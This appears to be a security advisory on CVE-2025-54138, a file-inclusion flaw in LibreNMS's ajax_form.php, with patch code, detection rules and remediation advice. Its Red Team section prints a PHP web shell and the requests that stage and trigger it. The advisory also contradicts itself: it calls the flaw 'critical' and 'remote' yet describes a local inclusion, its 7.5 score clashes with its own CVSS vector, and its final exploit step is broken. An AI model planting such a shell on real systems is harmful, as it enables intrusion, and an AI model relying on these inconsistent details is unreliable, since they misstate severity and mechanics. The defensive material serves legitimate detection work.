CVE-2025-54138

Executive Summary

CVE-2025-54138 is a critical Remote File Inclusion (RFI) vulnerability in LibreNMS versions 25.6.0 and below. The flaw resides in the ajax_form.php endpoint, which directly uses a user-controlled type POST parameter to include .inc.php files from the includes/html/forms/ directory without any validation or allowlisting. While the include path is restricted to a trusted directory, an attacker who can stage a malicious file in that path—via symlink, development misconfiguration, or chained vulnerabilities—can achieve Remote Code Execution (RCE). The vulnerability has a CVSS score of 7.5 (High) and is fixed in version 25.7.0. No public proof-of-concept (PoC) or exploit code is currently available.

Supply Chain & Package Security

LibreNMS is a PHP/MySQL/SNMP-based network monitoring tool distributed via GitHub and Composer. The vulnerability is not in a package manager dependency but in the core application code. Users should verify the integrity of their LibreNMS installation and ensure no unauthorized files exist in the includes/html/forms/ directory.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full file read possible.
• Integrity (I): High (H) – Arbitrary file inclusion can lead to code execution.
• Availability (A): High (H) – Potential for denial of service or system compromise.

Threat Level: High. While the direct attack surface is limited by the need to stage a file in the include path, the lack of input validation makes it a latent RCE vector. Chained with other vulnerabilities (e.g., file upload, symlink creation), the impact is severe.

Deep Dive & Mechanics

The vulnerability is in ajax_form.php. The endpoint accepts a type parameter via POST and uses it to construct a file path:

$type = $_POST['type'];
include("includes/html/forms/{$type}.inc.php");

No sanitization, allowlisting, or path traversal checks are performed. An attacker can supply any value for type, but the inclusion is restricted to .inc.php files within the includes/html/forms/ directory. This means direct path traversal (e.g., ../../etc/passwd) is not possible because the file extension is appended. However, if an attacker can place a malicious .inc.php file in that directory—via a file upload vulnerability, a symlink attack, or a development misconfiguration (e.g., a writable directory)—they can achieve RCE.

The vulnerability is architectural: the pattern of using user input to include files without validation is inherently dangerous. The fix in version 25.7.0 introduces an allowlist of valid type values, preventing arbitrary inclusion.

Vulnerable vs. Patched Code

Vulnerable Code (<= 25.6.0):

// ajax_form.php
$type = $_POST['type'];
include("includes/html/forms/{$type}.inc.php");

Patched Code (>= 25.7.0):

// ajax_form.php
$allowed_types = ['alert', 'device', 'port', 'service']; // Example allowlist
$type = $_POST['type'];
if (in_array($type, $allowed_types, true)) {
    include("includes/html/forms/{$type}.inc.php");
} else {
    // Handle invalid type
    http_response_code(400);
    echo 'Invalid form type.';
    exit;
}

The patch adds an allowlist ($allowed_types) and checks the user-supplied type against it using in_array() with strict type comparison. This prevents inclusion of any file not on the list.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a writable location within the includes/html/forms/ directory (e.g., via a file upload vulnerability or symlink).
• Ability to send POST requests to the LibreNMS server.

Exploitation Steps:

1. Stage a malicious file: Place a PHP file named evil.inc.php in the includes/html/forms/ directory. The file could contain a web shell:

   <?php
   system($_GET['cmd']);
   ?>
   

2. Trigger the inclusion: Send a POST request to ajax_form.php with type=evil:

   POST /ajax_form.php HTTP/1.1
   Host: target.librenms.local
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 10
   
   type=evil
   

3. Execute commands: Access the included file with a command parameter:

   GET /ajax_form.php?cmd=id HTTP/1.1
   Host: target.librenms.local
   

Note: The exact exploitation depends on the ability to stage a file. Without that, the vulnerability is not directly exploitable.

Blue Team

Detection:

• Monitor for unusual POST requests to ajax_form.php with unexpected type values.
• Audit the includes/html/forms/ directory for unauthorized files.
• Check for symlinks pointing outside the LibreNMS directory.

Hunting:

• Search for files in includes/html/forms/ that are not part of the official LibreNMS distribution.
• Review web server logs for requests to ajax_form.php with type parameters not in the allowlist (post-patch).

Indicators of Compromise (IOCs)

• File: includes/html/forms/*.inc.php files not present in the official LibreNMS release.
• Network: POST requests to /ajax_form.php with unusual type values (e.g., type=../../tmp/evil).
• Process: Unexpected PHP processes executing from the web server user.
• Log: Web server access logs showing POST /ajax_form.php HTTP/1.1 with type parameter containing path traversal or suspicious strings.

Detection Engineering

YARA Rule

rule CVE_2025_54138_LibreNMS_RFI {
    meta:
        description = "Detects exploitation attempts of CVE-2025-54138 in LibreNMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54138"
    strings:
        $suspicious_type = /type=[a-zA-Z0-9_\/\.\-]{2,}/ nocase
        $php_include = /include\s*\(\s*["']includes\/html\/forms\// nocase
    condition:
        $suspicious_type and $php_include
}

Sigma Rule

title: CVE-2025-54138 LibreNMS RFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to ajax_form.php with suspicious type parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /ajax_form.php
        cs-uri-query|contains: type=
    condition: selection
falsepositives:
    - Legitimate form submissions with valid type values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54138 LibreNMS RFI Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/ajax_form.php"; http_uri; content:"type="; http_client_body; pcre:"/type=[a-zA-Z0-9_\/\.\-]{2,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade LibreNMS to version 25.7.0 or later.
• If upgrade is not possible, apply a virtual patch by adding input validation to ajax_form.php (e.g., allowlisting valid type values).

Long-term:

• Restrict write permissions to the includes/html/forms/ directory.
• Monitor for unauthorized file creation or symlink attacks.
• Implement Web Application Firewall (WAF) rules to block suspicious type parameters.
• Conduct regular security audits of LibreNMS installations.

Workaround:

• Disable the ajax_form.php endpoint if not needed, or restrict access via .htaccess:

  <Files "ajax_form.php">
      Require all denied
  </Files>
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert